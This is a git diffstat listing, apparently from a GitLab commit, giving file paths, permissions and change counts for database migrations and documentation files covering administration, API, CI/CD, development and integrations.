-rw-r--r--db/schema_migrations/202106250945541
-rw-r--r--db/schema_migrations/202106272049361
-rw-r--r--db/schema_migrations/202106281245051
-rw-r--r--db/schema_migrations/202106291017121
-rw-r--r--db/schema_migrations/202106291049331
-rw-r--r--db/schema_migrations/202106291535191
-rw-r--r--db/schema_migrations/202106300250201
-rw-r--r--db/schema_migrations/202106301443391
-rw-r--r--db/schema_migrations/202107011116271
-rw-r--r--db/schema_migrations/202107011119091
-rw-r--r--db/schema_migrations/202107021248421
-rw-r--r--db/schema_migrations/202107051241281
-rw-r--r--db/schema_migrations/202107051309191
-rw-r--r--db/schema_migrations/202107051329281
-rw-r--r--db/schema_migrations/202107051446571
-rw-r--r--db/schema_migrations/202107060847131
-rw-r--r--db/schema_migrations/202107061153121
-rw-r--r--db/schema_migrations/202107061208471
-rw-r--r--db/schema_migrations/202107061428191
-rw-r--r--db/schema_migrations/202107061521391
-rw-r--r--db/schema_migrations/202107062135371
-rw-r--r--db/schema_migrations/202107070955451
-rw-r--r--db/schema_migrations/202107071515361
-rw-r--r--db/schema_migrations/202107071715361
-rw-r--r--db/schema_migrations/202107071715541
-rw-r--r--db/schema_migrations/202107071736451
-rw-r--r--db/schema_migrations/202107071815361
-rw-r--r--db/schema_migrations/202107080630321
-rw-r--r--db/schema_migrations/202107081242291
-rw-r--r--db/schema_migrations/202107081304191
-rw-r--r--db/schema_migrations/202107081310481
-rw-r--r--db/schema_migrations/202107081344461
-rw-r--r--db/schema_migrations/202107090857591
-rw-r--r--db/schema_migrations/202107091327071
-rw-r--r--db/schema_migrations/202107130708421
-rw-r--r--db/schema_migrations/202107131351521
-rw-r--r--db/schema_migrations/202107131446371
-rw-r--r--db/schema_migrations/202107141206001
-rw-r--r--db/schema_migrations/202107160745551
-rw-r--r--db/structure.sql614
-rw-r--r--doc/.markdownlint/markdownlint-no-trailing-spaces.yml1
-rw-r--r--doc/.vale/gitlab/Acronyms.yml2
-rw-r--r--doc/.vale/gitlab/HeaderGerunds.yml14
-rw-r--r--doc/.vale/gitlab/SubstitutionWarning.yml9
-rw-r--r--doc/.vale/gitlab/Substitutions.yml9
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt3
-rw-r--r--doc/README.md126
-rw-r--r--doc/administration/audit_events.md8
-rw-r--r--doc/administration/auth/README.md52
-rw-r--r--doc/administration/auth/atlassian.md2
-rw-r--r--doc/administration/auth/authentiq.md12
-rw-r--r--doc/administration/auth/index.md52
-rw-r--r--doc/administration/auth/ldap/index.md1
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md2
-rw-r--r--doc/administration/auth/oidc.md270
-rw-r--r--doc/administration/auth/okta.md9
-rw-r--r--doc/administration/compliance.md5
-rw-r--r--doc/administration/configure.md2
-rw-r--r--doc/administration/database_load_balancing.md45
-rw-r--r--doc/administration/external_pipeline_validation.md2
-rw-r--r--doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md22
-rw-r--r--doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md22
-rw-r--r--doc/administration/geo/glossary.md4
-rw-r--r--doc/administration/geo/replication/configuration.md4
-rw-r--r--doc/administration/geo/replication/datatypes.md2
-rw-r--r--doc/administration/geo/replication/docker_registry.md12
-rw-r--r--doc/administration/geo/replication/faq.md8
-rw-r--r--doc/administration/geo/replication/location_aware_git_url.md2
-rw-r--r--doc/administration/geo/replication/remove_geo_node.md9
-rw-r--r--doc/administration/geo/replication/security_review.md6
-rw-r--r--doc/administration/geo/replication/troubleshooting.md78
-rw-r--r--doc/administration/geo/replication/updating_the_geo_nodes.md4
-rw-r--r--doc/administration/geo/replication/usage.md2
-rw-r--r--doc/administration/geo/replication/version_specific_updates.md40
-rw-r--r--doc/administration/geo/setup/database.md100
-rw-r--r--doc/administration/geo/setup/external_database.md6
-rw-r--r--doc/administration/geo/setup/index.md18
-rw-r--r--doc/administration/get_started.md291
-rw-r--r--doc/administration/git_protocol.md2
-rw-r--r--doc/administration/gitaly/faq.md5
-rw-r--r--doc/administration/gitaly/index.md574
-rw-r--r--doc/administration/gitaly/praefect.md522
-rw-r--r--doc/administration/gitaly/troubleshooting.md372
-rw-r--r--doc/administration/housekeeping.md72
-rw-r--r--doc/administration/img/repository_storages_admin_ui_v13_1.pngbin26234 -> 0 bytes
-rw-r--r--doc/administration/incoming_email.md18
-rw-r--r--doc/administration/index.md12
-rw-r--r--doc/administration/instance_limits.md131
-rw-r--r--doc/administration/job_artifacts.md6
-rw-r--r--doc/administration/job_logs.md12
-rw-r--r--doc/administration/lfs/index.md72
-rw-r--r--doc/administration/logs.md460
-rw-r--r--doc/administration/maintenance_mode/index.md2
-rw-r--r--doc/administration/monitoring/ip_whitelist.md15
-rw-r--r--doc/administration/monitoring/performance/img/performance_bar.pngbin9926 -> 0 bytes
-rw-r--r--doc/administration/monitoring/performance/img/performance_bar_v14_0.pngbin0 -> 13115 bytes
-rw-r--r--doc/administration/monitoring/performance/performance_bar.md2
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md18
-rw-r--r--doc/administration/nfs.md21
-rw-r--r--doc/administration/object_storage.md25
-rw-r--r--doc/administration/operations/extra_sidekiq_processes.md39
-rw-r--r--doc/administration/operations/extra_sidekiq_routing.md4
-rw-r--r--doc/administration/operations/puma.md150
-rw-r--r--doc/administration/operations/sidekiq_memory_killer.md4
-rw-r--r--doc/administration/operations/ssh_certificates.md16
-rw-r--r--doc/administration/packages/container_registry.md10
-rw-r--r--doc/administration/packages/index.md15
-rw-r--r--doc/administration/pages/index.md194
-rw-r--r--doc/administration/pages/source.md13
-rw-r--r--doc/administration/polling.md2
-rw-r--r--doc/administration/postgresql/pgbouncer.md14
-rw-r--r--doc/administration/postgresql/replication_and_failover.md250
-rw-r--r--doc/administration/raketasks/check.md4
-rw-r--r--doc/administration/raketasks/maintenance.md5
-rw-r--r--doc/administration/redis/replication_and_failover.md6
-rw-r--r--doc/administration/redis/replication_and_failover_external.md2
-rw-r--r--doc/administration/reference_architectures/10k_users.md39
-rw-r--r--doc/administration/reference_architectures/25k_users.md213
-rw-r--r--doc/administration/reference_architectures/2k_users.md13
-rw-r--r--doc/administration/reference_architectures/3k_users.md32
-rw-r--r--doc/administration/reference_architectures/50k_users.md213
-rw-r--r--doc/administration/reference_architectures/5k_users.md226
-rw-r--r--doc/administration/reference_architectures/index.md28
-rw-r--r--doc/administration/reference_architectures/troubleshooting.md2
-rw-r--r--doc/administration/reply_by_email.md14
-rw-r--r--doc/administration/repository_checks.md71
-rw-r--r--doc/administration/repository_storage_paths.md10
-rw-r--r--doc/administration/restart_gitlab.md2
-rw-r--r--doc/administration/server_hooks.md4
-rw-r--r--doc/administration/troubleshooting/debug.md16
-rw-r--r--doc/administration/troubleshooting/defcon.md12
-rw-r--r--doc/administration/troubleshooting/elasticsearch.md6
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md82
-rw-r--r--doc/administration/troubleshooting/img/AzureAD-basic_SAML.pngbin30365 -> 101427 bytes
-rw-r--r--doc/administration/troubleshooting/img/AzureAD-claims.pngbin14213 -> 13625 bytes
-rw-r--r--doc/administration/troubleshooting/img/azure_configure_group_claim.pngbin45870 -> 14833 bytes
-rw-r--r--doc/administration/troubleshooting/postgresql.md2
-rw-r--r--doc/administration/troubleshooting/tracing_correlation_id.md2
-rw-r--r--doc/administration/whats-new.md2
-rw-r--r--doc/api/README.md781
-rw-r--r--doc/api/access_requests.md10
-rw-r--r--doc/api/api_resources.md8
-rw-r--r--doc/api/audit_events.md22
-rw-r--r--doc/api/award_emoji.md20
-rw-r--r--doc/api/boards.md24
-rw-r--r--doc/api/branches.md10
-rw-r--r--doc/api/bulk_imports.md193
-rw-r--r--doc/api/commits.md36
-rw-r--r--doc/api/container_registry.md14
-rw-r--r--doc/api/dependencies.md2
-rw-r--r--doc/api/dependency_proxy.md2
-rw-r--r--doc/api/deploy_keys.md12
-rw-r--r--doc/api/deploy_tokens.md12
-rw-r--r--doc/api/deployments.md8
-rw-r--r--doc/api/discussions.md70
-rw-r--r--doc/api/dora/metrics.md4
-rw-r--r--doc/api/environments.md12
-rw-r--r--doc/api/epic_issues.md10
-rw-r--r--doc/api/epic_links.md10
-rw-r--r--doc/api/epics.md16
-rw-r--r--doc/api/error_tracking.md4
-rw-r--r--doc/api/events.md52
-rw-r--r--doc/api/feature_flag_user_lists.md12
-rw-r--r--doc/api/feature_flags.md14
-rw-r--r--doc/api/freeze_periods.md10
-rw-r--r--doc/api/geo_nodes.md2
-rw-r--r--doc/api/graphql/custom_emoji.md111
-rw-r--r--doc/api/graphql/getting_started.md22
-rw-r--r--doc/api/graphql/img/custom_emoji_query_example.pngbin0 -> 178815 bytes
-rw-r--r--doc/api/graphql/index.md5
-rw-r--r--doc/api/graphql/reference/index.md438
-rw-r--r--doc/api/graphql/sample_issue_boards.md4
-rw-r--r--doc/api/group_badges.md12
-rw-r--r--doc/api/group_boards.md26
-rw-r--r--doc/api/group_clusters.md12
-rw-r--r--doc/api/group_iterations.md2
-rw-r--r--doc/api/group_labels.md24
-rw-r--r--doc/api/group_level_variables.md14
-rw-r--r--doc/api/group_milestones.md24
-rw-r--r--doc/api/group_protected_environments.md8
-rw-r--r--doc/api/group_repository_storage_moves.md20
-rw-r--r--doc/api/group_wikis.md12
-rw-r--r--doc/api/groups.md139
-rw-r--r--doc/api/import.md5
-rw-r--r--doc/api/index.md847
-rw-r--r--doc/api/instance_clusters.md4
-rw-r--r--doc/api/invitations.md10
-rw-r--r--doc/api/issue_links.md8
-rw-r--r--doc/api/issues.md54
-rw-r--r--doc/api/issues_statistics.md8
-rw-r--r--doc/api/iterations.md2
-rw-r--r--doc/api/job_artifacts.md28
-rw-r--r--doc/api/jobs.md20
-rw-r--r--doc/api/labels.md26
-rw-r--r--doc/api/lint.md4
-rw-r--r--doc/api/managed_licenses.md10
-rw-r--r--doc/api/markdown.md4
-rw-r--r--doc/api/members.md50
-rw-r--r--doc/api/merge_request_approvals.md32
-rw-r--r--doc/api/merge_request_context_commits.md6
-rw-r--r--doc/api/merge_requests.md54
-rw-r--r--doc/api/merge_trains.md6
-rw-r--r--doc/api/metrics_user_starred_dashboards.md4
-rw-r--r--doc/api/milestones.md26
-rw-r--r--doc/api/namespaces.md11
-rw-r--r--doc/api/notes.md42
-rw-r--r--doc/api/notification_settings.md22
-rw-r--r--doc/api/oauth2.md2
-rw-r--r--doc/api/openapi/openapi.yaml2
-rw-r--r--doc/api/openapi/openapi_interactive.md2
-rw-r--r--doc/api/packages.md22
-rw-r--r--doc/api/packages/debian.md151
-rw-r--r--doc/api/packages/debian_group_distributions.md222
-rw-r--r--doc/api/packages/debian_project_distributions.md222
-rw-r--r--doc/api/packages/helm.md96
-rw-r--r--doc/api/packages/nuget.md29
-rw-r--r--doc/api/packages/pypi.md2
-rw-r--r--doc/api/pages.md2
-rw-r--r--doc/api/pages_domains.md10
-rw-r--r--doc/api/pipeline_schedules.md20
-rw-r--r--doc/api/pipeline_triggers.md12
-rw-r--r--doc/api/pipelines.md20
-rw-r--r--doc/api/plan_limits.md10
-rw-r--r--doc/api/project_badges.md12
-rw-r--r--doc/api/project_clusters.md14
-rw-r--r--doc/api/project_import_export.md8
-rw-r--r--doc/api/project_level_variables.md10
-rw-r--r--doc/api/project_repository_storage_moves.md20
-rw-r--r--doc/api/project_snippets.md16
-rw-r--r--doc/api/project_statistics.md2
-rw-r--r--doc/api/project_templates.md4
-rw-r--r--doc/api/project_vulnerabilities.md8
-rw-r--r--doc/api/projects.md92
-rw-r--r--doc/api/protected_branches.md12
-rw-r--r--doc/api/protected_environments.md8
-rw-r--r--doc/api/protected_tags.md8
-rw-r--r--doc/api/releases/index.md14
-rw-r--r--doc/api/releases/links.md10
-rw-r--r--doc/api/remote_mirrors.md2
-rw-r--r--doc/api/repositories.md18
-rw-r--r--doc/api/repository_submodules.md2
-rw-r--r--doc/api/resource_access_tokens.md15
-rw-r--r--doc/api/resource_iteration_events.md4
-rw-r--r--doc/api/resource_label_events.md12
-rw-r--r--doc/api/resource_milestone_events.md14
-rw-r--r--doc/api/resource_state_events.md10
-rw-r--r--doc/api/resource_weight_events.md6
-rw-r--r--doc/api/runners.md10
-rw-r--r--doc/api/search.md4
-rw-r--r--doc/api/services.md35
-rw-r--r--doc/api/settings.md6
-rw-r--r--doc/api/snippet_repository_storage_moves.md20
-rw-r--r--doc/api/status_checks.md119
-rw-r--r--doc/api/tags.md8
-rw-r--r--doc/api/templates/gitlab_ci_ymls.md2
-rw-r--r--doc/api/todos.md18
-rw-r--r--doc/api/usage_data.md10
-rw-r--r--doc/api/users.md2
-rw-r--r--doc/api/v3_to_v4.md4
-rw-r--r--doc/api/visual_review_discussions.md2
-rw-r--r--doc/api/vulnerabilities.md2
-rw-r--r--doc/api/vulnerability_exports.md6
-rw-r--r--doc/api/vulnerability_findings.md6
-rw-r--r--doc/api/wikis.md12
-rw-r--r--doc/architecture/blueprints/container_registry_metadata_database/index.md4
-rw-r--r--doc/architecture/blueprints/database_testing/index.md6
-rw-r--r--doc/architecture/blueprints/graphql_api/index.md2
-rw-r--r--doc/architecture/blueprints/image_resizing/index.md2
-rw-r--r--doc/ci/README.md186
-rw-r--r--doc/ci/caching/img/clear_runners_cache.pngbin16020 -> 0 bytes
-rw-r--r--doc/ci/caching/index.md367
-rw-r--r--doc/ci/chatops/README.md9
-rw-r--r--doc/ci/chatops/index.md16
-rw-r--r--doc/ci/ci_cd_for_external_repos/bitbucket_integration.md2
-rw-r--r--doc/ci/ci_cd_for_external_repos/github_integration.md4
-rw-r--r--doc/ci/cloud_deployment/ecs/quick_start_guide.md4
-rw-r--r--doc/ci/cloud_deployment/index.md14
-rw-r--r--doc/ci/directed_acyclic_graph/index.md6
-rw-r--r--doc/ci/docker/README.md9
-rw-r--r--doc/ci/docker/index.md4
-rw-r--r--doc/ci/docker/using_docker_build.md45
-rw-r--r--doc/ci/docker/using_docker_images.md16
-rw-r--r--doc/ci/docker/using_kaniko.md6
-rw-r--r--doc/ci/enable_or_disable_ci.md6
-rw-r--r--doc/ci/environments/deployment_safety.md13
-rw-r--r--doc/ci/environments/environments_dashboard.md2
-rw-r--r--doc/ci/environments/index.md34
-rw-r--r--doc/ci/environments/protected_environments.md4
-rw-r--r--doc/ci/examples/README.md182
-rw-r--r--doc/ci/examples/authenticating-with-hashicorp-vault/index.md72
-rw-r--r--doc/ci/examples/deployment/README.md131
-rw-r--r--doc/ci/examples/deployment/index.md131
-rw-r--r--doc/ci/examples/end_to_end_testing_webdriverio/index.md8
-rw-r--r--doc/ci/examples/index.md182
-rw-r--r--doc/ci/examples/laravel_with_gitlab_and_envoy/index.md14
-rw-r--r--doc/ci/examples/php.md10
-rw-r--r--doc/ci/examples/semantic-release.md2
-rw-r--r--doc/ci/examples/test-and-deploy-python-application-to-heroku.md9
-rw-r--r--doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md9
-rw-r--r--doc/ci/examples/test-clojure-application.md9
-rw-r--r--doc/ci/git_submodules.md2
-rw-r--r--doc/ci/index.md186
-rw-r--r--doc/ci/interactive_web_terminal/index.md2
-rw-r--r--doc/ci/introduction/index.md2
-rw-r--r--doc/ci/jobs/index.md14
-rw-r--r--doc/ci/jobs/job_control.md62
-rw-r--r--doc/ci/large_repositories/index.md2
-rw-r--r--doc/ci/lint.md2
-rw-r--r--doc/ci/merge_request_pipelines/img/merge_request.pngbin5292 -> 0 bytes
-rw-r--r--doc/ci/merge_request_pipelines/index.md237
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md135
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md236
-rw-r--r--doc/ci/metrics_reports.md2
-rw-r--r--doc/ci/migration/circleci.md14
-rw-r--r--doc/ci/migration/jenkins.md62
-rw-r--r--doc/ci/multi_project_pipelines.md332
-rw-r--r--doc/ci/parent_child_pipelines.md189
-rw-r--r--doc/ci/pipeline_editor/index.md14
-rw-r--r--doc/ci/pipelines/img/coverage_check_approval_rule_14_1.pngbin0 -> 116394 bytes
-rw-r--r--doc/ci/pipelines/img/merge_train_cancel_v12_0.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_cancel_v12_0.png)bin7654 -> 7654 bytes
-rw-r--r--doc/ci/pipelines/img/merge_train_failure.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_failure.png)bin23899 -> 23899 bytes
-rw-r--r--doc/ci/pipelines/img/merge_train_immediate_merge_v12_6.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_immediate_merge_v12_6.png)bin18607 -> 18607 bytes
-rw-r--r--doc/ci/pipelines/img/merge_train_position_v12_0.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_position_v12_0.png)bin6152 -> 6152 bytes
-rw-r--r--doc/ci/pipelines/img/merge_train_start_v12_0.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_v12_0.png)bin3548 -> 3548 bytes
-rw-r--r--doc/ci/pipelines/img/merge_train_start_when_pipeline_succeeds_v12_0.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/img/merge_train_start_when_pipeline_succeeds_v12_0.png)bin4337 -> 4337 bytes
-rw-r--r--doc/ci/pipelines/img/merged_result_pipeline.png (renamed from doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png)bin7374 -> 7374 bytes
-rw-r--r--doc/ci/pipelines/img/multi_pipeline_mini_graph.gif (renamed from doc/ci/img/multi_pipeline_mini_graph.gif)bin11466 -> 11466 bytes
-rw-r--r--doc/ci/pipelines/img/multi_project_pipeline_graph.png (renamed from doc/ci/img/multi_project_pipeline_graph.png)bin10671 -> 10671 bytes
-rw-r--r--doc/ci/pipelines/img/parent_pipeline_graph_expanded_v12_6.png (renamed from doc/ci/img/parent_pipeline_graph_expanded_v12_6.png)bin96087 -> 96087 bytes
-rw-r--r--doc/ci/pipelines/img/pipeline-fork_v13_7.png (renamed from doc/ci/merge_request_pipelines/img/pipeline-fork_v13_7.png)bin15697 -> 15697 bytes
-rw-r--r--doc/ci/pipelines/img/pipelines_graph_dependency_view_hover_v13_12.pngbin42573 -> 83953 bytes
-rw-r--r--doc/ci/pipelines/img/pipelines_graph_dependency_view_links_v13_12.pngbin37749 -> 81552 bytes
-rw-r--r--doc/ci/pipelines/img/pipelines_graph_dependency_view_v13_12.pngbin36039 -> 77811 bytes
-rw-r--r--doc/ci/pipelines/img/pipelines_graph_stage_view_v13_12.pngbin25969 -> 63697 bytes
-rw-r--r--doc/ci/pipelines/index.md46
-rw-r--r--doc/ci/pipelines/job_artifacts.md8
-rw-r--r--doc/ci/pipelines/merge_request_pipelines.md215
-rw-r--r--doc/ci/pipelines/merge_trains.md236
-rw-r--r--doc/ci/pipelines/multi_project_pipelines.md329
-rw-r--r--doc/ci/pipelines/parent_child_pipelines.md192
-rw-r--r--doc/ci/pipelines/pipeline_architectures.md12
-rw-r--r--doc/ci/pipelines/pipeline_artifacts.md2
-rw-r--r--doc/ci/pipelines/pipeline_efficiency.md16
-rw-r--r--doc/ci/pipelines/pipelines_for_merged_results.md135
-rw-r--r--doc/ci/pipelines/schedules.md4
-rw-r--r--doc/ci/pipelines/settings.md351
-rw-r--r--doc/ci/quick_start/README.md9
-rw-r--r--doc/ci/quick_start/index.md2
-rw-r--r--doc/ci/review_apps/index.md8
-rw-r--r--doc/ci/runners/README.md289
-rw-r--r--doc/ci/runners/build_cloud/linux_build_cloud.md127
-rw-r--r--doc/ci/runners/build_cloud/windows_build_cloud.md156
-rw-r--r--doc/ci/runners/configure_runners.md36
-rw-r--r--doc/ci/runners/img/protected_runners_check_box.pngbin3963 -> 0 bytes
-rw-r--r--doc/ci/runners/img/protected_runners_check_box_v14_1.pngbin0 -> 3500 bytes
-rw-r--r--doc/ci/runners/img/shared_runner_ip_address.pngbin20276 -> 0 bytes
-rw-r--r--doc/ci/runners/img/shared_runner_ip_address_14_1.pngbin0 -> 8577 bytes
-rw-r--r--doc/ci/runners/index.md18
-rw-r--r--doc/ci/secrets/index.md21
-rw-r--r--doc/ci/services/README.md9
-rw-r--r--doc/ci/services/gitlab.md6
-rw-r--r--doc/ci/services/index.md6
-rw-r--r--doc/ci/services/mysql.md6
-rw-r--r--doc/ci/services/postgres.md6
-rw-r--r--doc/ci/services/redis.md4
-rw-r--r--doc/ci/ssh_keys/README.md9
-rw-r--r--doc/ci/ssh_keys/index.md20
-rw-r--r--doc/ci/triggers/README.md288
-rw-r--r--doc/ci/triggers/index.md288
-rw-r--r--doc/ci/troubleshooting.md54
-rw-r--r--doc/ci/unit_test_reports.md19
-rw-r--r--doc/ci/variables/README.md815
-rw-r--r--doc/ci/variables/index.md824
-rw-r--r--doc/ci/variables/predefined_variables.md37
-rw-r--r--doc/ci/variables/where_variables_can_be_used.md4
-rw-r--r--doc/ci/yaml/README.md4874
-rw-r--r--doc/ci/yaml/gitlab_ci_yaml.md8
-rw-r--r--doc/ci/yaml/includes.md6
-rw-r--r--doc/ci/yaml/index.md4935
-rw-r--r--doc/ci/yaml/script.md6
-rw-r--r--doc/development/README.md308
-rw-r--r--doc/development/agent/gitops.md149
-rw-r--r--doc/development/agent/identity.md107
-rw-r--r--doc/development/agent/index.md88
-rw-r--r--doc/development/agent/local.md156
-rw-r--r--doc/development/agent/repository_overview.md99
-rw-r--r--doc/development/agent/routing.md231
-rw-r--r--doc/development/agent/user_stories.md78
-rw-r--r--doc/development/api_graphql_styleguide.md156
-rw-r--r--doc/development/application_limits.md12
-rw-r--r--doc/development/architecture.md249
-rw-r--r--doc/development/audit_event_guide/index.md17
-rw-r--r--doc/development/auto_devops.md2
-rw-r--r--doc/development/avoiding_downtime_in_migrations.md4
-rw-r--r--doc/development/background_migrations.md85
-rw-r--r--doc/development/bulk_import.md4
-rw-r--r--doc/development/cascading_settings.md27
-rw-r--r--doc/development/changelog.md5
-rw-r--r--doc/development/chatops_on_gitlabcom.md2
-rw-r--r--doc/development/cicd/cicd_reference_documentation_guide.md4
-rw-r--r--doc/development/cicd/index.md20
-rw-r--r--doc/development/cicd/templates.md16
-rw-r--r--doc/development/code_review.md11
-rw-r--r--doc/development/contributing/issue_workflow.md4
-rw-r--r--doc/development/contributing/merge_request_workflow.md6
-rw-r--r--doc/development/contributing/style_guides.md28
-rw-r--r--doc/development/dangerbot.md22
-rw-r--r--doc/development/database/database_reviewer_guidelines.md3
-rw-r--r--doc/development/database/multiple_databases.md101
-rw-r--r--doc/development/database/not_null_constraints.md4
-rw-r--r--doc/development/database/pagination_guidelines.md2
-rw-r--r--doc/development/database/pagination_performance_guidelines.md2
-rw-r--r--doc/development/database/rename_database_tables.md2
-rw-r--r--doc/development/database/transaction_guidelines.md117
-rw-r--r--doc/development/database_review.md11
-rw-r--r--doc/development/deprecation_guidelines/index.md5
-rw-r--r--doc/development/documentation/index.md19
-rw-r--r--doc/development/documentation/site_architecture/global_nav.md37
-rw-r--r--doc/development/documentation/site_architecture/index.md4
-rw-r--r--doc/development/documentation/structure.md204
-rw-r--r--doc/development/documentation/styleguide/index.md144
-rw-r--r--doc/development/documentation/styleguide/word_list.md170
-rw-r--r--doc/development/documentation/testing.md14
-rw-r--r--doc/development/documentation/workflow.md2
-rw-r--r--doc/development/emails.md2
-rw-r--r--doc/development/experiment_guide/gitlab_experiment.md7
-rw-r--r--doc/development/fe_guide/accessibility.md2
-rw-r--r--doc/development/fe_guide/content_editor.md6
-rw-r--r--doc/development/fe_guide/editor_lite.md265
-rw-r--r--doc/development/fe_guide/frontend_faq.md2
-rw-r--r--doc/development/fe_guide/graphql.md29
-rw-r--r--doc/development/fe_guide/index.md2
-rw-r--r--doc/development/fe_guide/performance.md18
-rw-r--r--doc/development/fe_guide/source_editor.md264
-rw-r--r--doc/development/fe_guide/storybook.md51
-rw-r--r--doc/development/fe_guide/style/html.md2
-rw-r--r--doc/development/fe_guide/style/scss.md4
-rw-r--r--doc/development/fe_guide/vue3_migration.md49
-rw-r--r--doc/development/fe_guide/vuex.md57
-rw-r--r--doc/development/feature_flags/controls.md4
-rw-r--r--doc/development/feature_flags/development.md9
-rw-r--r--doc/development/feature_flags/index.md97
-rw-r--r--doc/development/feature_flags/process.md6
-rw-r--r--doc/development/features_inside_dot_gitlab.md2
-rw-r--r--doc/development/foreign_keys.md5
-rw-r--r--doc/development/geo.md13
-rw-r--r--doc/development/git_object_deduplication.md2
-rw-r--r--doc/development/gitaly.md4
-rw-r--r--doc/development/github_importer.md40
-rw-r--r--doc/development/go_guide/index.md10
-rw-r--r--doc/development/i18n/externalization.md4
-rw-r--r--doc/development/i18n/merging_translations.md2
-rw-r--r--doc/development/i18n/proofreader.md1
-rw-r--r--doc/development/img/stage_group_dashboards_error_attribution.pngbin0 -> 166125 bytes
-rw-r--r--doc/development/img/stage_group_dashboards_service_sli_detail.pngbin0 -> 110562 bytes
-rw-r--r--doc/development/index.md340
-rw-r--r--doc/development/integrations/secure.md104
-rw-r--r--doc/development/integrations/secure_partner_integration.md3
-rw-r--r--doc/development/internal_api.md135
-rw-r--r--doc/development/iterating_tables_in_batches.md288
-rw-r--r--doc/development/jh_features_review.md7
-rw-r--r--doc/development/logging.md6
-rw-r--r--doc/development/merge_request_performance_guidelines.md19
-rw-r--r--doc/development/migration_style_guide.md80
-rw-r--r--doc/development/module_with_instance_variables.md4
-rw-r--r--doc/development/multi_version_compatibility.md37
-rw-r--r--doc/development/new_fe_guide/dependencies.md9
-rw-r--r--doc/development/omnibus.md2
-rw-r--r--doc/development/packages.md4
-rw-r--r--doc/development/performance.md2
-rw-r--r--doc/development/permissions.md5
-rw-r--r--doc/development/pipelines.md130
-rw-r--r--doc/development/policies.md4
-rw-r--r--doc/development/polymorphic_associations.md2
-rw-r--r--doc/development/profiling.md2
-rw-r--r--doc/development/pry_debugging.md2
-rw-r--r--doc/development/query_performance.md2
-rw-r--r--doc/development/query_recorder.md2
-rw-r--r--doc/development/rails_initializers.md2
-rw-r--r--doc/development/rake_tasks.md7
-rw-r--r--doc/development/reactive_caching.md18
-rw-r--r--doc/development/redis.md1
-rw-r--r--doc/development/refactoring_guide/index.md2
-rw-r--r--doc/development/renaming_features.md2
-rw-r--r--doc/development/repository_mirroring.md34
-rw-r--r--doc/development/reusing_abstractions.md2
-rw-r--r--doc/development/scalability.md8
-rw-r--r--doc/development/secure_coding_guidelines.md6
-rw-r--r--doc/development/serializing_data.md6
-rw-r--r--doc/development/service_ping/dictionary.md23249
-rw-r--r--doc/development/service_ping/index.md1707
-rw-r--r--doc/development/service_ping/metrics_dictionary.md237
-rw-r--r--doc/development/service_ping/metrics_instrumentation.md102
-rw-r--r--doc/development/service_ping/review_guidelines.md75
-rw-r--r--doc/development/shell_scripting_guide/index.md2
-rw-r--r--doc/development/sidekiq_style_guide.md38
-rw-r--r--doc/development/snowplow/index.md24
-rw-r--r--doc/development/snowplow/review_guidelines.md43
-rw-r--r--doc/development/sql.md12
-rw-r--r--doc/development/stage_group_dashboards.md51
-rw-r--r--doc/development/testing_guide/best_practices.md6
-rw-r--r--doc/development/testing_guide/end_to_end/environment_selection.md68
-rw-r--r--doc/development/testing_guide/end_to_end/execution_context_selection.md122
-rw-r--r--doc/development/testing_guide/end_to_end/index.md7
-rw-r--r--doc/development/testing_guide/end_to_end/resources.md2
-rw-r--r--doc/development/testing_guide/end_to_end/rspec_metadata_tests.md5
-rw-r--r--doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md14
-rw-r--r--doc/development/testing_guide/frontend_testing.md13
-rw-r--r--doc/development/testing_guide/index.md2
-rw-r--r--doc/development/understanding_explain_plans.md2
-rw-r--r--doc/development/usage_ping.md9
-rw-r--r--doc/development/usage_ping/dictionary.md4258
-rw-r--r--doc/development/usage_ping/index.md1580
-rw-r--r--doc/development/usage_ping/metrics_dictionary.md238
-rw-r--r--doc/development/usage_ping/metrics_instrumentation.md103
-rw-r--r--doc/development/usage_ping/product_intelligence_review.md92
-rw-r--r--doc/development/usage_ping/review_guidelines.md9
-rw-r--r--doc/downgrade_ee_to_ce/README.md9
-rw-r--r--doc/gitlab-basics/README.md9
-rw-r--r--doc/gitlab-basics/create-project.md9
-rw-r--r--doc/gitlab-basics/create-your-ssh-keys.md4
-rw-r--r--doc/gitlab-basics/fork-project.md9
-rw-r--r--doc/gitlab-basics/index.md2
-rw-r--r--doc/gitlab-basics/start-using-git.md2
-rw-r--r--doc/index.md126
-rw-r--r--doc/install/README.md9
-rw-r--r--doc/install/aws/index.md4
-rw-r--r--doc/install/azure/index.md4
-rw-r--r--doc/install/docker.md635
-rw-r--r--doc/install/google_cloud_platform/index.md2
-rw-r--r--doc/install/index.md2
-rw-r--r--doc/install/installation.md11
-rw-r--r--doc/install/next_steps.md2
-rw-r--r--doc/install/openshift_and_gitlab/index.md2
-rw-r--r--doc/install/postgresql_extensions.md9
-rw-r--r--doc/install/requirements.md70
-rw-r--r--doc/integration/datadog.md32
-rw-r--r--doc/integration/elasticsearch.md45
-rw-r--r--doc/integration/github.md2
-rw-r--r--doc/integration/google_workspace_saml.md9
-rw-r--r--doc/integration/jenkins.md22
-rw-r--r--doc/integration/jira/connect-app.md19
-rw-r--r--doc/integration/jira/development_panel.md30
-rw-r--r--doc/integration/jira/dvcs.md15
-rw-r--r--doc/integration/jira/index.md42
-rw-r--r--doc/integration/jira/issues.md21
-rw-r--r--doc/integration/kerberos.md5
-rw-r--r--doc/integration/saml.md5
-rw-r--r--doc/integration/security_partners/index.md6
